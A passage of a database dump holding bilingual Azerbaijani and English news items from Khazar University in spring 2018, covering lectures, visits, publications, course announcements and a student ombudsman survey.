Sotova, Director of the Quality Assurance Center, Raziya Isayeva, Director of Development Center, delivered reports and answered the participants’ questions. The seminar was also attended by associates of the Schools and Centers of Khazar University.</p>'),(5489,3165,'az','Potensial məktəb direktorları layihəsi davam edir - FOTOSESSİYA','Potensial məktəb direktorları layihəsi davam edir...',''),(5490,3165,'en','Potential School Directors Project Continues - PHOTO SESSION','Potential School Directors Project Continues...',''),(5491,3166,'az','Meksikanın Azərbaycandakı səfiri tələbələrə mühazirə oxudu','2018-ci il mayın 2-də Meksikanın Azərbaycandakı Fövqəladə və Səlahiyyətli...','<p>2018-ci il mayın 2-də Meksikanın Azərbaycandakı Fövqəladə və Səlahiyyətli səfiri cənab Rodrigo Labardini Xəzər Universitetinin tələbələri üçün mühazirə keçdi. Universitetin Siyasi elm və beynəlxalq münasibətlər departamentinin təşkil etdiyi “Meksikanın xarici siyasət prioritetləri və Azərbaycanla qarşılıqlı münasibətləri” adlı xüsusi mühazirə departamentin koordinatoru Elmar Mustafayevin moderatorluğu ilə baş tutdu. Səfir mühazirəsində Meksika dövlətinin siyasi, iqtisadi, mədəni kontekstindən, ölkənin Azərbaycanla iqtisadi və ticarət əlaqələrinin dinamikasından danışdı.</p><p>Mühazirənin sonunda cənab Labardini auditoriyanı maraqlandıran sualları cavablandırdı.</p>'),(5492,3166,'en','Mexican ambassador to Azerbaijan delivers a lecture','On May 2, 2018, Mr Rodrigo Labardini, Mexican ambassador to Azerbaijan...','<p>On May 2, 2018, Mr Rodrigo Labardini, Mexican ambassador to Azerbaijan, delivered a lecture at Khazar University. Elmar Mustafayev, Coordinator of the Department of Political Sciences and International Relations, moderated the special lecture entitled “Priorities of the foreign policy of Mexico and bilateral relations with Azerbaijan”. The ambassador talked about political, economic, and cultural contexts of Mexico as well as economic and commercial relations between Mexico and Azerbaijan.</p><p>Mr Labardini also answered participants\' questions at the end of the lecture.</p>'),(5493,3167,'az','Professor Hamlet İsaxanlının həmmüəllifi olduğu məqalə çap edildi','“Keçmiş Sovet İttifaqı Ölkələrində Ali Təhsil Sisteminin 25 İllik Transformasiyası” kitabı beynəlxalq...','<p><em>“<strong><em>25 Years of Transformations of Higher Education Systems in Post-Soviet Countries</em></strong>” (Keçmiş Sovet İttifaqı Ölkələrində Ali Təhsil Sisteminin 25 İllik Transformasiyası)</em> kitabı beynəlxalq nəşriyyat evi “Palgrave Macmillan”da 2018-ci ildə çap edilmişdir. Xəzər Universitetinin təsisçisi, Direktorlar və Qəyyumlar Şurasının sədri Professor Hamlet İsaxanlının Təhsil İnstitununun əməkdaşı xanım Aytac Paşayeva ilə birgə hazırladığı “<strong><em>Higher Education Transformation, Institutional Diversity and Typology of Higher Education Institutions in Azerbaijan</em></strong>” (<em>Ali Təhsilin Transformasiyası, İnstitusional Fərqliliklər və Ali Təhsil İnstitutlarının Tipologiyası</em>)&nbsp; adlı fəsil bu kitaba (s. 97-121)  daxil edilmişdir. Kitab keçmiş Sovet İttifaqı ölkələrinin ali təhsil müəssisələrində baş verən dəyişikliklərə dair ilk dərin araşdırma aparan qlobal layihə sayılır.</p><p>Qeyd olunan nəşr vahid Sovet modelinin fərqli milli təhsil sistemlərinə necə çevrildiyini araşdırır. Kitab son 25 il ərzində regionda aparılan islahatlar və dəyişikliklərin hərtərəfli təhlili ilə fərqlənir, Sovetdən öncə, Sovetlər və post-Sovet dövründə qurulan və inkişaf edən institusional modellərin təkamül mənzərəsi üzərində dayanır. SSRİ-nin 15 ölkəsini əhatə edən bu kitab postsovet sistemlərində institusional mənzərənin transformasiyasını müqayisəli təhlil edir. Ali təhsil və sosiologiya sahələrində, xüsusən tarix və müqayisəli tədqiqatlarla maraqlanan tələbələr və tədqiqatçılar üçün olduqca dəyərli vəsaitdir.</p><p>Kitab “Palgrave-in Qlobal Ali Təhsil Sahəsində Araşdırmaları” seriyası altında nəşr edilmişdir və qeyd olunan keçiddə, <strong><em>palgrave.com</em></strong> saytında ödənişsiz yükləmək üçün elektron variantda mövcuddur:</p>\r\n<p><a href=\"https://www.palgrave.com/us/book/9783319529790\">https://www.palgrave.com/us/book/9783319529790</a>.</p>'),(5494,3167,'en','A Research Article Co-authored by Prof. Hamlet Isakhanli Published','The book “25 Years of Transformations of Higher Education Systems in Post-Soviet Countries...','<p>The book “<strong><em>25 Years of Transformations of Higher Education Systems in Post-Soviet Countries</em></strong>” is published by International Publishing House “Palgrave Macmillan”, 2018. The Chapter on “<strong><em>Higher Education Transformation, Institutional Diversity and Typology of Higher Education Institutions in Azerbaijan</em></strong>” co-authored&nbsp;by Founder of Khazar University and the Chairman of its Board of Directors and Trustees Professor Hamlet Isakhanli&nbsp;together with Ms. Aytaj Pashayeva of Education Institution of the Republic of Azerbaijan was included in the book&nbsp;(p. 97-121).</p><p>The publication&nbsp;investigates how the single Soviet model evolved into the diverse range of national education systems. It&nbsp;is distinctive as it presents a comprehensive analysis of the reforms and transformations in the region in the last 25 years; and it focuses on institutional landscape through the evolution of the institutional types established and developed in Pre-Soviet, Soviet and Post-Soviet time. The book&nbsp;also embraces all fifteen countries of the former USSR and provides a comparative analysis of transformations of institutional landscape across Post-Soviet systems. It will be highly relevant for students and researchers in the fields of higher education and sociology, particularly those with an interest in historical and comparative studies.&nbsp;</p><p>The book is published under the “Palgrave Studies in Global Higher Education” series. It is available as an eBook for free download at <strong><em>palgrave.com</em></strong> in the link below:</p><p><a href=\"https://www.palgrave.com/us/book/9783319529790\">https://www.palgrave.com/us/book/9783319529790</a>.  <br></p>'),(5495,3168,'az','THE SAME “Park Bulvar”da','2018-ci il mayın 1-də “THE SAME” komandası “Park Bulvar” Ticarət Mərkəzində...','<p>2018-ci il mayın 1-də “THE SAME” komandası “Park Bulvar” Ticarət Mərkəzində “Müsabiqə günü” keçirərək, şəhər sakinlərini komandanın məqsədi və “Sticker müsabiqəsi”nin şərtləri ilə tanış etdilər. Əlavə olaraq, layihə ilə maraqlananlar komandanın hazırladığı çağırış plakatı ilə şəkil çəkdirərək, onlara bu layihədə dəstək olduqlarını bildirdilər. Qeyd edək ki, “ Sticker müsabiqəsi” üçün 120-yə yaxın iştiakçı qeydiyyatdan keçmişdir. Şərtlərə əsasən, iştirak etmək üçün sticker-lə maraqlı şəkil çəkdirərək, layihənin Facebook səhifəsinə göndərilməlidir. Qalib olan 3 nəfər dəyərli hədiyyələr qazanacaq.</p><p>Bu haqda daha geniş məlumatı bu linklər vasitəsilə əldə etmək olar:</p><p><a href=\"https://www.facebook.com/thesame.aze/\">https://www.facebook.com/thesame.aze/</a>;</p><p><a href=\"https://www.instagram.com/thesame.aze/\">https://www.instagram.com/thesame.aze/</a>.</p>'),(5496,3168,'en','THE SAME at “Park Bulvar”','On 1 May, 2018 “THE SAME” team held “Competition Day” at Park Bulvar...','<p>On 1 May, 2018 “THE SAME” team held “Competition Day” at Park Bulvar in order to ensure people to get familiar with the goals of the team and the terms of “Sticker Challenge”. In addition, people took photos with their posters to support the team. İt should be noted that 120 participants have been registered for the \"Sticker Challenge\". Based on the terms of the competition, the participants should take a creative sticker photo and send to the Facebook page of the project. 3 winners will be presented with valuable prizes.</p>\r\n<p>More information is available through these links:</p><p><a href=\"https://www.facebook.com/thesame.aze/\">https://www.facebook.com/thesame.aze/</a>;</p><p><a href=\"https://www.instagram.com/thesame.aze/\">https://www.instagram.com/thesame.aze/</a>.</p>'),(5497,3169,'az','Xəzər Universitetinin əməkdaşı BMT-nin IPBES panelinə ekspert seçildi','Xəzər Universiteti Coğrafiya və ətraf mühit departamentinin...','<p>Xəzər Universiteti Coğrafiya və ətraf mühit departamentinin müdiri Rövşən Abbasovun Almaniyanın Bonn şəhərində yerləşən BMT-nin IPBES (<em>Intergovernmental Science-Policy Platform on Biodiversity and Ecosystem Services</em>) panelinin növbəti üç il ərzində Fənlərarası ekspert (<em>Multidisciplinary Expert Panel</em>) panelinə üzvlüyü təsdiq edilmişdir.</p><p>Qeyd edək ki, bütün regiondan yalnız Xəzər Universitetinin əməkdaşı bu paneldə təmsil olunur.</p>'),(5498,3169,'en','Khazar University associate elected as an expert of IPBES panel of UN','Rovshan Abbasov, Head of the Department of Geography and the Environment...','<p>Rovshan Abbasov, Head of the Department of Geography and the Environment, Khazar University, has been elected as a member of the Multidisciplinary Expert Panel (MEP) of IPBES (<em>Intergovernmental Science-Policy Platform on Biodiversity and Ecosystem Services</em>), which is located in Bonn, Germany, for the next three years.</p><p>It should be noted that it is only Khazar University associate who represents the whole region in this panel.</p>'),(5499,3170,'az','Xəzər Universitetinin əməkdaşının məqaləsi məşhur nəşrdə','Xəzər Universitetinin Elmi işlər üzrə prorektoru dosent İradə Xəlilovanın...','<p>Xəzər Universitetinin Elmi işlər üzrə prorektoru dosent İradə Xəlilovanın məqaləsi dünyanın ilk və ən böyük Open Access jurnalı olan “<strong><em>PLOS ONE</em></strong>”-da çap edilmişdir.</p><p>Məqalə miqdarı çətin təyin edilən aktiv pro-miyeloperoksidazanın (pro-MPO) aşkarı və onun funksiyalarının müəyyən edilməsindən ibarətdir. Tədqiqatın nəticələri göstərir ki, MPO ilə yanaşı pro-MPO da zülalların oksidativ modifikasiyalarına səbəb olaraq kardiovaskulyar xəstəliklərinə gətirib çıxarır. Bu araşdırmanın gələcək tədqiqatlar üçün mühüm elmi və praktiki əhəmiyyəti vardır.</p><p>Məqaləni bu link vasitəsilə oxumaq olar:</p><p><a href=\"http://journals.plos.org/plosone/article?id=10.1371/journal.pone.0192952\">http://journals.plos.org/plosone/article?id=10.1371/journal.pone.0192952</a>.</p>'),(5500,3170,'en','Khazar University associate’s article in a prominent journal','An article by Assoc. Prof. Irada Khalilova, Vice-rector for Research...','<p>An article by Assoc. Prof. Irada Khalilova, Vice-rector for Research of Khazar University, has been published in “<strong><em>PLOS ONE</em></strong>”, the world’s first and largest Open Access journal.</p><p>The article is about the determination of an active pro-myeloperoxidase (pro-MPO) and measuring its functions, which is difficult to detect in circulation. This study suggests that in addition to mature MPO, circulating pro-MPO may cause oxidative modifications of proteins thereby contributing to cardiovascular disease. This study has important scientific and practical significance for future investigations.</p><p>The article is available via the following link:</p><p><a href=\"http://journals.plos.org/plosone/article?id=10.1371/journal.pone.0192952\">http://journals.plos.org/plosone/article?id=10.1371/journal.pone.0192952</a>.</p>'),(5501,3171,'az','Türkiyənin 26-cı Baş Qərargah rəisi orgeneral İlker Başbuğ Xəzər Universitetinin qonağı oldu','2018-ci il mayın 3-dən 5-dək Türkiyənin 26-cı Baş Qərargah rəisi...','<p>2018-ci il mayın 3-dən 5-dək Türkiyənin 26-cı Baş Qərargah rəisi (Genelkurmay Başqanı) orgeneral İlker Başbuğ Azərbaycan Xalq Cümhuriyyətinin və Milli Ordunun qurulmasının 100 illiyi münasibətilə Xəzər Universitetinin dəvəti ilə universitetin qonağı oldu.</p><p>Mayın 3-də orgeneral Başbuğ “Dünya” məktəbinin konfrans zalında tələbələrə “Milli siyasət: Türkiyə-Azərbaycan qardaşlığı” mövzusunda mühazirə oxudu.&nbsp;Həmin gün İlker Başbuğ Xəzər Universtetinin rəhbərliyi və əməkdaşları ilə birlikdə İçərişəhəri gəzdi, Şirvanşahlar saray kompleksində oldu.  </p><p>Mayın 4-də orgeneral İlkər Başbuğ Xəzər Universitetinin kollektivi ilə birlikdə Fəxri Xiyabanda Ümummilli Lider Heydər Əliyevin və Azərbaycan Respublikasının ikinci prezidenti Əbülfəz Elçibəyin məzarlarını ziyarət edərək, əklil qoydu. Görkəmli oftalmoloq alim Zərifə Əliyevanın xatirəsi də yad edildi. Sonra İlker Başbuğ Xəzər Universitetinin kollektivi ilə Şəhidlər Xiyabanına gedərək, şəhidlərin xatirəsinə ucaldılmış abidə önünə əklil qoydu. Burada İlkər Başbuğa 20 Yanvar faciəsi barədə ətraflı məlumat verildi. 1918-ci ildə Bakını bolşevik-daşnak qüvvələrinin işğalından azad edən Qafqaz İslam Ordusunun şəhidlərinin uyuduğu “Türk şəhidliyi”də ziyarət edilərək, əklil qoyuldu və xatirə şəkilləri çəkildi.</p><p>Həmin gün Xəzər Universitetinin “Neftçilər” kampusunda “Elm və Sənət Məclsi”nin 67-ci görüşündə İlkər Başbuğ “Yaxın Şərq və Türkiyə” mövzusunda çıxış etdi, çoxsaylı sualları cavablandırdı. Həm “Dünya” məktəbində, həm də Xəzər Universitetində keçirilən tədbirlərdə Xəzər universitetinin təsisçisi, Direktorlar və Qəyyumlar Şurasının sədri professor Hamlet İsaxanlı çıxış edərək, Türkiyə və Azərbaycanın qardaşlıq əlaqələrindən, Xəzər Universiteti ilə Türkiyənin bir sıra universitetləri arasında geniş işgüzar əməkdaşlığın yaranmasından və inkişaf etdirilməsindən danışdı. Professor Hamlet İsaxanlı İlker Başbuğa Xəzər Universiteti adından hədiyyə təqdim etdi.</p><p>Xəzər Universitetində təşkil olunmuş hər iki tədbir özəl və dövlət televiziyaları tərəfindən işıqlandırıldı.</p><p>Mayın 5-də İlkər Başbuğ Miniatür Kitab Muzeyində oldu, muzeyin təsisçisi və direktoru Zərifə Salahovanın xahişi ilə rəy dəftərinə ürək sözlərini yazdı.</p><p>Orgeneral İlkər Başbuğu tədbirlərdə Xəzər Universiteti Təhsil fakültəsinin dekanı dosent Elza Səmədova və Türkiyə Böyükelçiliyinin nümayəndələri müşayiət etmişlər.</p><p>Qeyd edək ki, Orgeneral İlker Başbuğ “Terör Örgütlerinin Sonu” (2011), “20.Yüzyılın En Büyük Lideri Atatürk” (2012), “Suçlamalara Karşı Gerçekler” (2013), “Nasıl Bir Türkiye” (2015), “Ermeni Suçlamaları ve Gerçekler” (2015), “Unutulan Ada Kıbrıs” (2016), “15 Temmuz Öncesi ve Sonrası” (2016), “Sorunlarla Yüzleşmek” (2017), “Osmanlı`dan Cumhuriyete Güç Odaklarının mücadelesi” (2018) adlı kitabların müəllifi və 2017-ci ildə Mustafa Kamal Atatürkə həsr olunmuş “Mucize” adlı pyesi ilə “İsmet Küntay-En İyi Oyun Yazarı” mükafatının laureatıdır.</p><p>2008-2010-ci illərdə Baş Qərargah rəisi (Genelkurmay Başkanı) olan orgeneral İlkər Başbuğ 2010-cu il avqustun 30-dan təqaüddədir.</p>'),(5502,3172,'az','“525-ci qəzet”də professor Hamlet İsaxanlının poetik yaradıcılığı haqqında məqalə','“525-ci qəzet”in 5 may 2018-ci il tarixli nömrəsində Xəzər Universitetinin təsisçisi...','<p>“525-ci qəzet”in 5 may 2018-ci il tarixli nömrəsində Xəzər Universitetinin təsisçisi, Direktorlar və Qəyyumlar Şurasının sədri professor Hamlet İsaxanlının poetik yaradıcılığı haqqında filologiya elmləri doktoru, professor Bədirxan Əhmədlinin “Ləyaqətin anatomiyası” adlı irihəcmli məqaləsi dərc olunmuşdur. Professor Hamlet İsaxanlının 70 illik yubileyinə həsr olunan məqalədə onun şeirləri tədqiq edilərək, özünəməxsus orijinal xüsusiyyətləri şərh olunmuşdur.</p>'),(5503,3172,'en','An article about Hamlet Isakhanli’s poetic creativity','On May 5, 2018, “525-ci qəzet” published a voluminous article “The anatomy...','<p>On May 5, 2018, “525-ci qəzet” published a voluminous article “The anatomy of Dignity” by Prof. Badirkhan Ahmadli, which is dedicated to Prof. Hamlet Isakhanli’s, the founder of Khazar University and Chairman of its Board of Directors and Trustees, poetic creativity. The author precisely studies and interprets specific original features of poems by Hamlet Isakhanli.</p>'),(5504,3173,'az','İstanbul Aydın Universitetində Professor Hamlet İsaxanlının yubileyi keçiriləcək','2018-ci il mayın 7-də Avrasiya Universitetlər Birliyinin İdarə Heyətinin üzvü...','<p>2018-ci il mayın 7-də Avrasiya Universitetlər Birliyinin İdarə Heyətinin üzvü, Xəzər Universitetinin təsisçisi, Direktorlar və Qəyyumlar Şurasının sədri professor Hamlet İsaxanlının 70 illik yubileyi münasibətilə İstanbul Aydın Universitetində tədbir keçiriləcək. Yubiley günündə elmi əsərləri olan müxtəlif kitablardan, alimin həyatı və yaradıcılığından, şeir kitablarından və fotoşəkillərdən bağlı ibarət sərgi keçiriləcək.</p><p>Yubiley professor Hamlet İsaxanlının çıxışı, tədbirdə iştirak edən görkəmli alim və qonaqların təbrikləri ilə yekunlaşacaq.</p>'),(5505,3173,'en','Prof. Hamlet Isakhanli’s anniversary to be celebrated at Istanbul Aydın University','On May 7, 2018, a ceremony related to Prof. Hamlet Isakhanli’s, the founder of Khazar...','<p>On May 7, 2018, a ceremony related to Prof. Hamlet Isakhanli’s, the founder of Khazar University and Chairman of its Board of Directors and Trustees, and a Member of the Board of Directors of Eurasian Universities Union, 70<sup>th</sup> anniversary, will be held at Istanbul Aydın University. On the same day, an exhibition, dedicated to Hamlet Isakhanli’s books as well as photos reflecting his life and professional career, will also be demonstrated.</p><p>The ceremony will end with Hamlet Isakhanli’s speech and congratulations by prominent scientists and guests.</p>'),(5506,3174,'az','Psixoloji Xidmət Mərkəzi “Ailə psixologiyası” kursu elan edir','Xəzər Universiteti Psixoloji Xidmət Mərkəzi “Ailə psixologiyası” kursu elan edir...','<p>Xəzər Universiteti Psixoloji Xidmət Mərkəzi “Ailə psixologiyası” kursu elan edir. Kurs 1,5 ay davam edəcək və kursun sonunda iştirakçılara sertifikat təqdim ediləcək. Kursda ailə psixologiyasında müasir nəzəriyyələr, ailənin psixoloji cəhətdən dəyərləndirilməsi, psixoloqun fəaliyyəti və s. mövzular öyrəniləcək.</p><p>Kurslar interaktiv, iştirakçı yönümlü təşkil edilir.</p><p>Kursu Hacettepe Universitetinin məzunu psixoloq Mələk Kərimova aparacaq.&nbsp;</p><p><strong>Əlaqə üçün telefon</strong>: (050) 329-89-78;&nbsp;</p><p><strong>E-mail</strong>: <a href=\"mailto:mkerimova@khazar.org\">mkerimova@khazar.org</a>.</p>'),(5507,3174,'en','Psychological Service Center announces “Family Psychology” course','Psychological Service Center of Khazar University announces “Family Psychology” course...','<p>Psychological Service Center of Khazar University announces “Family Psychology” course. The course will last for 45 days and the participants will be certified. The course program covers modern theories on Family Psychology, Family Assessment in terms of Psychology, the Role of a Psychologist, etc.&nbsp;</p><p>The course will be participant-centred, based on interactive learning and will be conducted by Melek Kerimova, a graduate of Hacettepe University.&nbsp;</p><p><strong>Contact number</strong>: (050) 329-89-78;</p><p><strong>E-mail</strong>:&nbsp;<a href=\"mailto:mkerimova@khazar.org\">mkerimova@khazar.org</a>.  <br></p>'),(5508,3175,'az','“Kaspiy” qəzeti“Khazar Journal of Humanities and Social Sciences”-dan yazdı','2018-ci il mayın 3-də “Kaspiy” qəzetinin rəsmi internet səhifəsində ötən il...','<p>2018-ci il mayın 3-də “<strong><em>Kaspiy</em></strong>” qəzetinin rəsmi internet səhifəsində ötən il Azərbaycandan <strong><em>Web of Science</em></strong> elmi bazasına daxil olan məqalələrlə bağlı araşdırma yazısı çap olunmuşdur. Yazıda Xəzər Universitetinin naşiri olduğu “<strong><em>Khazar Journal of Humanities and Social Sciences</em></strong>” elmi jurnalına da geniş yer verilmişdir.</p><p>Məqaləni tam şəkildə bu link vasitəsilə oxumaq olar:</p><p><a href=\"http://kaspiy.az/news.php?id=81081\">http://kaspiy.az/news.php?id=81081</a>.</p>'),(5509,3175,'en','“Kaspiy” newspaper writes about “Khazar Journal of Humanities and Social Sciences”','On May 3, 2018, an official website of “Kaspiy” newspaper posted an article about scientific...','<p>On May 3, 2018, an official website of “<strong><em>Kaspiy</em></strong>” newspaper posted an article about scientific articles of Azerbaijani authors, which have been included in <strong><em>Web of Science</em></strong> database. The article also deals with “<strong><em>Khazar Journal of Humanities and Social Sciences</em></strong>” which is published by Khazar University.</p><p>The full article is available at:</p><p><a href=\"http://kaspiy.az/news.php?id=81081\">http://kaspiy.az/news.php?id=81081</a>.<br></p>'),(5510,3176,'az','Meksika səfirinin Xəzər Universitetinə səfəri Respublika mətbuatında','Xəbər verildiyi kimi, Meksikanın Azərbaycandakı Fövqəladə və Səlahiyyətli...','<p>Xəbər verildiyi kimi, Meksikanın Azərbaycandakı Fövqəladə və Səlahiyyətli səfiri Rodiriqo Labardini öz dövlətinin tarixi, mədəniyyəti, iqtisadiyyatı və ənənələri haqqında ümumi məlumat vermək məqsədilə, Xəzər Universitetin tələbələri və müəllimləri ilə görüş keçirmişdir.</p><p>Xəbəri tam şəkildə bu linklər vasitəsilə oxumaq olar:</p><p><a href=\"http://www.1news.az/az/news/meksika-sefiri-xezer-universitetinde-teqdimat-edib---foto\">http://www.1news.az/az/news/meksika-sefiri-xezer-universitetinde-teqdimat-edib---foto;</a></p><p><a href=\"http://hafta.az/index2.php?m=yazi&amp;id=217188\">http://hafta.az/index2.php?m=yazi&amp;id=217188</a>.</p>'),(5511,3176,'en','Media covers Ambassador\'s visit to Khazar University','As reported before, Mr Rodrigo Labardini, Mexican, ambassador of Mexico to the Republic...','<p>As reported before, Mr Rodrigo Labardini, Mexican, ambassador of Mexico to the Republic of Azerbaijan, had a meeting with instructors and students at Khazar University. Within the meeting, the Ambassador enlightened participants about the history, culture, economy and traditions of Mexico.</p><p>The full information is available at:</p>  <p><a href=\"http://www.1news.az/az/news/meksika-sefiri-xezer-universitetinde-teqdimat-edib---foto\">http://www.1news.az/az/news/meksika-sefiri-xezer-universitetinde-teqdimat-edib---foto;</a></p><p><a href=\"http://hafta.az/index2.php?m=yazi&amp;id=217188\">http://hafta.az/index2.php?m=yazi&amp;id=217188</a>.</p>'),(5512,3177,'en','Training on Preparation of Result-Centered Interactive Teaching Materials (Seminar and Workshop)','Training on Preparation of Result-Centered Interactive Teaching Materials...','<p>On June 29 and 30, 2018, a seminar – workshop on <strong><a href=\"/files/letters/telim_elan_eng.pdf\">Preparation of Result – Centered Interactive Teaching Materials</a> </strong>will be conducted. The training sessions will be led by Prof. Dr. Buket Akkoyunlu (Çankaya University, Turkey) and Assoc. Prof. Elza Samadova (Khazar University, Azerbaijan).</p><p>Those who want to attend the training are requested to register until <strong>May 30</strong> at <a href=\"https://doodle.com/poll/9a6rzxgsbndz3b79\">https://doodle.com/poll/9a6rzxgsbndz3b79</a>.</p>'),(5513,3177,'az','Təlim nəticələrinə əsaslanan inteqrativ dərs materiallarının hazırlanması” adlı təlim olacaq','2018-ci il iyunun 29-u və 30-da Xəzər Universitetində “Təlim nəticələrinə əsaslanan...','<p>2018-ci il iyunun 29-u və 30-da Xəzər Universitetində “<strong><a href=\"/files/letters/t%C9%99lim_elan.pdf\">Təlim nəticələrinə əsaslanan inteqrativ dərs materiallarının hazırlanması</a></strong>” adlı təlim (seminar və vorkşop) keçiriləcək. Təlimçilər Prof. Dr. Buket Akkoyunlu (Çankaya Universiteti/Türkiyə), dosent Elza Səmədova (Xəzər Universiteti/Azərbaycan) olacaqlar.</p><p>Təlimdə iştirak etmək istəyənlərin <strong>mayın 30</strong>-na qədər&nbsp;<a href=\"https://doodle.com/poll/9a6rzxgsbndz3b79\">https://doodle.com/poll/9a6rzxgsbndz3b79</a>&nbsp;ünvanında qeydiyyatdan keçməsi xahiş olunur.</p>'),(5514,3171,'en','İlker Başbuğ visits Khazar University','On May 3-5, 2018, İlker Başbuğ, the 26th Chief of the General Staff of Turkey...','<p>On May 3-5, 2018, İlker Başbuğ, the 26th Chief of the General Staff of Turkey, visited Khazar University on the occasion of the 100<sup>th</sup> anniversary of the establishment of the Azerbaijan Democratic Republic and the Azerbaijani Army.</p><p>On May 3, İlker Başbuğ delivered a lecture entitled “National policy: Turkey-Azerbaijan Brotherhood” at “Dunya” school. On the same day, İlker Başbuğ visited Icheri Sheher (Old City) and Palace of the Shirvanshahs with the leadership and staff members of Khazar University.</p><p>On May 4, İlker Başbuğ, together with associates of Khazar University, visited Alley of Honor to pay tribute to the memories of Heydar Aliyev, National Leader and Abulfaz Elchibey, the second President of the Republic of Azerbaijan as well as Zarifa Aliyeva, a prominent ophthalmologist. Then, İlker Başbuğ, together with associates of Khazar University, paid a visit to Martyrs\' Alley and laid a wreath at the monument erected in memory of Martyrs. İlker Başbuğ was informed about Martyrs of 20 January tragedy. Moreover, İlker Başbuğ visited “Turkish Martyrdom” where Martyrs of Islamic Army of the Caucasus are buried, and laid a wreath at the memorial. Memory photos were taken.</p><p>On the same day, in the 67<sup>th</sup> meeting of “Science and Art Assembly” at Khazar University, İlker Başbuğ delivered a report entitled “The Middle East and Turkey”, and answered the participants’ questions. In the meetings held both at “Dunya” school and Khazar University, Prof. Hamlet Isakhanli, the founder of Khazar University, and Chairman of its Board of Directors and Trustees, talked about the relationship between Azerbaijan and Turkey, and mentioned cooperation of Khazar University with Turkish Universities. On behalf of Khazar University, Prof. Hamlet Isakhanli presented gifts to İlker Başbuğ. Both ceremonies held at Khazar University were covered by public and private TV channels.</p><p>On May 5, İlker Başbuğ visited the Museum of Miniature Books, and on request of the founder and director, Zarifa Salahova, inscribed his sincere comments in the review book of the museum.</p><p>Assoc.&nbsp;Prof. Elza Samadova, Dean of the School of Education, and associates of Turkish Embassy accompanied İlker Başbuğ in all ceremonies. İlker Başbuğ is an author of the following books: \"The End of Terrorist Organizations\" (2011), \"Ataturk, the Greatest Leader of 20th Century\" (2012), \"Facts Against Accusations\" (2013), \"What kind of Turkey\" (2015), \"Accusations of Armenians and Facts\"(2015), \"Cyprus, Forgotten Island\" (2016), \"Before and After July 15\" (2016), \"Facing Problems\" (2017), and \"Struggle of Ottoman Powers against the Republic\" (2018). İlker Başbuğ is a laureate of “İsmet Küntay-En İyi Oyun Yazarı” for his play \"Miracle\" which is dedicated to Mustafa Kemal Ataturk. İlker Başbuğ was the Chief of the General Staff of Turkey from 2008 to 2010. He took retirement on August 30, 2010.</p>'),(5515,3178,'az','Ombudsman Mərkəzinin tələbələr arasında keçirdiyi sorğu başa çatdı','Aprelin 30-da Xəzər Universiteti Ombudsman mərkəzinin aprelin 13-dən 27-dək tələbələr...','<p>Aprelin 30-da Xəzər Universiteti Ombudsman mərkəzinin aprelin 13-dən 27-dək tələbələr arasında keçirdiyi anonim sorğunun yekunlaşması ilə əlaqədar sorğu qutuları İnkişaf mərkəzində dekanlıqların nümayəndələri və inzibati işçilərin iştirakı ilə açıldı və nəticələr protokollaşdırıldı. Nəticələr haqqında məlumat universitet rəhbərliyinə təqdim olundu.</p><p>Sorğunun əsas məqsədi tələbələrin tədris prosesi zamanı qarşılaşdıqları mənfi hallarla bağlı şikayət və iradlarını öyrənərək, lazımi tədbirlərin həyata keçirilməsi üçün universitet rəhbərliyinə təqdim etməkdir.</p><p>Qeyd edək ki, “Advocacy Establishment for Students through Ombudsman Position” (AESOP) Erasmus+ layihəsi çərçivəsində Xəzər Universitetində 7 fevral 2018-ci il tarixində Ombudsman Ofisi yaradılmış və 9 fevral tarixində isə rektorun əmri ilə Rima Məmmədova ombudsman təyin olunmuşdur.</p>'),(5516,3178,'en','The survey by Ombudsman Office is over','The survey which was conducted from 13 April to 27 April by Ombudsman Office of Khazar...','<p>The survey which was conducted from 13 April to 27 April by Ombudsman Office of Khazar University among the students is over. In this connection, on April 30, 2018, the survey boxes were opened at Development Center and the results were recorded in the presence of associates of the Departments and administrative staff. The results will be submitted to University administration.</p><p>The mainaim of the survey is to study the complaints and claims of the students regarding negative cases in educational process and submit the survey results to University administration so it takes appropriate measures.</p><p>It should be noted that Ombudsman Office was established at Khazar University on February 7, 2018, within “Advocacy Establishment for Students through Ombudsman Position” (AESOP) Erasmus+ Project. On February 9, Rima Mammadova was appointed Ombudsman by Order of the Rector of Khazar University.</p>'),(5517,3179,'az','Xəzər Universitetinin bir qrup əməkdaşı İsmayıllıda şagirdlərlə görüşdü','2018-ci il mayın 5-də 2018-ci ildə Xəzər Universitetinin Tələbələrin cəlb olunması üzrə işçi qrupun...','<p>2018-ci il mayın 5-də 2018-ci ildə Xəzər Universitetinin Tələbələrin cəlb olunması üzrə işçi qrupun rəhbəri professor Fuat Rəsulov, İctimai əlaqələr və media üzrə direktor Əlövsət Əmirbəyli və Psixologiya departamentinin koordinatoru, Xəzər Psixoloji Xidmət Mərkəzinin direktoru Mələk Kərimova İsmayıllı şəhərində fəaliyyət göstərən Niyal Hazırlıq Kurslarının Xəzər Universiteti ilə birgə təşkil etdiyi “Peşə seçimi və gələcəyim” adlı seminarda iştirak etmək məqsədilə adıçəkilən rayona səfər etdilər.</p><p>Tədbir İsmayıllı rayonunun Uşaq-Gənçlər İnkişaf Mərkəzində təskil edilmişdi. Görüşü Niyal Hazırlıq Kurslarının müdiri Həsən Məmmədov açdı. O, qonaqları salamladı, hazırlıq kursları barəsində qısa məlumat verdi və sonra sözü Xəzər Universitetinin nümayəndəsi Əlövsət Əmirbəyliyə verdi.</p><p>Ə.Əmirbəyli Xəzər Universiteti və ixtisaslar barədə məlumat verdi, seminara gələn iştirakçılara öz təşəkkürünü bildirdi. Sonra isə sözü Mələk Kərimovaya verdi. M.Kərimova abituriyentlərə qəbul imtahanından əvvəl yaşaya biləcəkləri həyəcan zamanı nələr edə biləcəkləri haqqında məlumat verməklə yanaşı, peşə seçimində qərarsızlıq yaşayanlara da məsləhətlər verdi.</p><p>Seminar interaktiv şəkildə keçdi, mövzu ilə bağlı müzakirələr aparıldı və suallar cavablandırıldı.</p><p>Yekunda professor Fuad Rəsulov iştirakçılara peşə seçimi ilə yanaşı, seçilən universitetin də önəmli olduğunu qeyd etdi və Xəzər Universiteti ilə bağlı video çarx nümayiş etdirdi. Sonra Xəzər Universitetinin məzunlarının uğurlarını nümayiş etdirərək, universitetin üstünlüklərini, güzəştli qəbul şərtlərini və s. məsələləri açıqladı.</p><p>Tədbirdə Xəzər Universitetinin İqtisadiyyat və menecment fakultəsinin üçüncü kurs tələbəsi Toğrul Nəbiyev də çıxış edərək, universitetdəki təlim və tədris mühiti haqqında, tələbələr üçün yaradılmış əlverişli şərait haqqında danışdı.</p><p>Tədbiri İsmayillı rayon təhsil idarəsinin metodisti 